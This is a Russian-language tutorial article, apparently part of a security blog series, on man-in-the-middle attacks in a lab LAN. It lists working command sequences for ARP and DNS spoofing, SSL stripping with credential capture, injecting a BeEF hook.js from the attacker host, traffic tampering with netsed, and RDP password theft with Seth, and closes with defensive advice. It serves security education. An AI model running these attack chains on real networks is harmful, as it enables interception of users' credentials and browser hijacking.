Перехватить конфиденциальную информацию? Получить несанкционированный доступ к различным приложениям и системам? Нарушить нормальный режим работы? Все это и многое другое выполняют атаки типа Man in the Middle.

Сегодня мы продолжаем цикл статей, посвященный атакам «человек посередине» (и ряду сопутствующих) на типичные протоколы и каналы передачи, встречающиеся практически в любой компании. Рассмотрим представляющие куда больший интерес для злоумышленника уровни: с сетевого по прикладной.

Заинтересовались? Добро пожаловать под кат.

Вспоминаем

Итак, в предыдущей статье мы остановились на спуфинг-атаках в проводных и беспроводных средах, показав техники мониторинга запросов и ответов к DNS-серверам. DNS был выбран не просто так – это одна из первоочередных целей. Почему? Все просто – практически любая сессия сейчас начинается с запроса IP-адреса целевого узла на DNS-серверах.

Сегодня мы будем показывать атаки «на меди», но для того же Wi-Fi практически ничего не меняется кроме пары нюансов. Врезку в оптику опустим, так как данный вектор атак очень затратен и для него необходимо специальное оборудование.

Для начала нас интересует «незаметный» перехват DNS-запросов. Я воспользуюсь парой следующих утилит: DNS2Proxy (утилите уже немало лет, но она до сих пор вполне боеспособна) и arpspoof (тоже немолодой).

Запускаем:

# arpspoof -r 192.168.180.254 192.168.180.1 // Первый IP – адрес жертвы, второй - маршрутизатора
# python2 dns2proxy.py -u 192.168.180.253 // опция -u позволяет установить IP-адрес, который будет возвращаться клиенту перед легитимными адресами
# iptables -t nat -A PREROUTING -i enp14s0 –p udp --dport 53 -j DNAT --to-destination 192.168.180.253:53

Теперь проверим, как это отражается на машине жертвы, выполнив nslookup любого домена:





Отлично, жертва получает необходимый злоумышленнику IP-адрес хоста, скорее всего, локальный IP-адрес устройства, с которого развивается атака. Также на скриншоте видно, что клиент считает, что ей отвечает легитимный DNS-сервер, что, разумеется, немного не так. На самом деле, функционал утилиты DNS2Proxy довольно широкий: можно указать конкретные домены для спуфинга, а можно, наоборот, спуфить все, добавив некоторые в исключения.

Что дальше? А дальше нам надо развернуть «проксирующий» web-сервер, который будет строить 2 соединения: одно — «прокси» <> легитимный узел в сети, а второе — «прокси» <> жертва. Воспользуемся SSLsplit.

Запускаем:

# sslsplit –l 2000
# iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:2000

Проверяем, что будет, если мы попробуем перейти на какой-нибудь автомобильный портал, например, drom.ru:





И у нас есть незащищённое соединение! Но с оговоркой: в качестве поддомена добавились wwww и webmy.drom.ru вместо my.drom.ru. Попробуем авторизоваться, предварительно воспользовавшись какой-нибудь утилитой для просмотра транзитного трафика на устройстве злоумышленника. Я воспользуюсь net-creds. Смотрим что он выдает в консоль:



И у нас есть логин/пароль, отлично!

Вероятно, возникает вопрос: «В чем разница с предыдущей статьей?» Разница в том, что без данных манипуляций строится HTTPS-соединение, что делает практически невозможным перехват учетных записей. Это так называемая «downgrade attack».

Все тоже самое сработает даже с банками и прочими ресурсами:





Но НЕ стоит обвинять банки, что таким образом пользователя могут «похакать». Они здесь ничего не смогут сделать, ведь атака далеко за пределами их периметра! Банк НЕ виноват! Кроме того, все они используют 2FA, что позволяет немного снизить риск получения доступа.

Обратите внимание: таким образом обходится даже HSTS (HTTP Strict Transport Security), но не для всех ресурсов (о чем, я думаю, все или почти все тут уже знают). Ряд браузеров хранит список доменов, с которыми требуется установка соединения через TLS, и подобная атака против них бессильна. Простейший пример: google.com, а полный список для Chromium тут. И Firefox, и Chrome/Chromium не будут строить с ним HTTP-соединение, оберегая пользователя. Впрочем, если злоумышленнику удалось каким-то образом добавить «свой» самоподписанный сертификат в доверенные или, ещё хуже, в доверенные корневые ЦС – не поможет уже ничего, просто потому, что браузер и система будет изначально считать их полностью легитимными и не выдавать никаких ошибок при их обработке. Случай с доверенными корневыми ЦС особенный: это позволит генерировать под каждый домен сертификат на лету (так обычно работают DLP и прочие средства защиты, анализирующие трафик), что позволяет анализировать любое HTTPS-соединение без каких-либо проблем и уведомлений со стороны браузера.

Все инструменты, приведенные выше, уже морально устарели, так как используют Python2, поддержка которого скоро прекратится. Вы можете использовать любой аналог, например, bettercap, представляющий собой «комбайн» различных инструментов и выполняющий все те же функции, перечисленные ранее, а также ряд иных. Единственное замечание к его работе: последние версии не хотят по умолчанию «резолвить» все домены, приходится указывать конкретные. Впрочем, для «реальных» атак этого хватит за глаза, и даже поможет не раскрыться раньше времени.

Что ещё позволяет MitM? Импорт JS ака XSS. А дальше широкий простор для творчества. Начнем, используем bettercap и beef:

В bettercap включаем:

# set arp.spoof.targets 192.168.180.254
# arp.spoof on
# set http.proxy.sslstrip true
# set http.proxy.injectjs http://192.168.180.253:3000/hook.js
# http.proxy on

Если хотим внедряться на HTTPS-странички, то настраиваем и dns.proxy. В рамках демонстрации я обойдусь только HTTP.

Переходим на diary.ru и наблюдаем следующее в отладчике:



Смотрим, как дела в веб-интерфейсе beef:



Собственно, готово, мы «в браузере». Создалось 2 сессии, вероятно, из-за того, что я на фоне открыл ещё одну страницу, но это не проблема. Теперь можно начинать творить бардак собирать информацию, развивать атаку, в некоторых случаях открывать шелл или же просто майнить. Часть возможного функционала представлена на скриншоте в таблице «Module Tree». Для теста запустим получение fingerprint браузера:



Впрочем, разработчики браузеров не дураки и стараются прикрыть различные «дыры», позволяющие получить доступ по щелчку пальца. С другой стороны, подобный доступ может сильно облегчить дальнейшее закрепление на атакованном хосте.

Перейдем к последней атаке на сегодня – подмена данных. Вообще эта атака тянет на отдельную статью, она может применяться даже при передаче образов виртуальных машин для получения доступа (быть может, когда-нибудь раскрою эту тему подробнее), но сейчас проведем небольшую демонстрацию, например, на сайте pasted.co – простейший ресурс, позволяющий на некоторое время обеспечить доступ к какой-либо текстовой информации. Для атаки используем netsed.

Запускаем:

# netsed tcp 4000 0 0 s/Hello/HACKED/o
# iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:4000
# arpspoof -r 192.168.180.254 192.168.180.1

На атакованном узле переходим на pasted.co, пишем наше ‘Hello’, отправляем, получаем ссылку, открываем и видим наш ‘HACKED’. Пример простой, но, я думаю, представить, что в принципе можно реализовать подобной атакой не составит труда.

Пару слов о RDP и MitM

Есть такая интересная утилита, которая называется Seth и, по сути, является связкой aprspoof’а и sslstrip, но для RDP. Суть проста: при обращении на порт 3389 Seth действует аналогично sslstrip и строит «свое» соединение до целевого узла. Пользователь вводит учетные данные… и на этом можно заканчивать.

Запускаем:

# ./seth.sh enp14s0 192.168.180.253 192.168.180.254 192.168.180.1

Запускаем на клиенте RDP, подключаемся к любому RDP-хосту (я подключался к серверу за пределами сети 192.168.180.0/24) и вводим учетную запись. Лично я после этого этапа каждый раз ловил ошибку, хотя утилита должна проксировать соединение, но самую важную часть работы она выполнила:



В выделенном прямоугольнике был пароль в открытом виде.

Защищаемся

1. Используйте все меры, указанные в нашей предыдущей статье. Это правда поможет! Отдельно добавлю включение DHCP-snooping’а, что позволит отсеять нелегитимные DHCP-серверы, которые могут заставить клиента все запросы отправлять на хост злоумышленника, избегая arp-spoofing’а.
2. Если есть возможность, используйте расширения типа HTTPS everywhere. Оно автоматически редиректит на https-версию сайта, если он включен в его базу, что позволяет избежать HTTPS downgrade.
3. Относительно DNS можно использовать DNS-over-TLS/DNS-over-HTTPS или DNSCrypt. Инструменты не идеальны, поддержка может быть довольно болезненной, но в некоторых случаях это – неплохая мера защиты.
4. Научитесь и научите семью, друзей и коллег обращать внимание на адресную строку: это важно! wwww.drom.ru, уведомления о незащищенном соединении на ранее «беспроблемном» ресурсе – зачастую верный признак каких-то аномальностей в сети.

Обращайте внимание и на аномалии в RDP-сессиях: неожиданно изменившийся сертификат – плохой знак.

На этом пока все. Или нет? Друзья, хотел бы у вас узнать, а интересна ли вам атака на гипервизор и миграцию машин? Или инъекцию в PE-файлы? Ждем ваших комментариев и вопросов!